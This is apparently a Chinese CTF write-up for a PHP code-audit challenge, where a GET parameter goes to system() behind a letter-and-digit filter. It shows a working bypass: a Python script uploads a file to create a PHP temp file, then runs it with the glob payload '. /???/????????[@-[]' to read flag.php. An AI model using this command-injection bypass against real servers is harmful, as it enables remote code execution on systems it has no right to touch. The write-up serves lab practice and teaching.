代码审计
<?php// 你们在炫技吗?if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c))//这里把数字也过滤掉了{system($c);}}else{highlight_file(__FILE__);}
这里要用到
web56的第二种方法,无字母数字命令执行,同理可以用上一题制作文件上传,抓包利用.进行执行shell命令,这里下面用python的requests库进行请求,有可能临时文件最后一位不是大写,所以匹配不到,需要重复发包几次 ```python-- coding: utf-8 --
‘’’ @Time : 2021/7/6 11:12 @Author : Seals6 @File : upload-ctfshow.py @contact: 972480239@qq.com @blog: seals6.github.io
-- 功能说明 --
-- 更新说明 --
‘’’
import requests
url=”http://xxxxxxxxxxxx.challenge.ctf.show:8080/“
params={“c”:”. /???/????????[@-[]”}
r=requests.post(url=url,params=params,files={“file”:(“1.php”,”cat flag.php”)})
print(r.text)
```

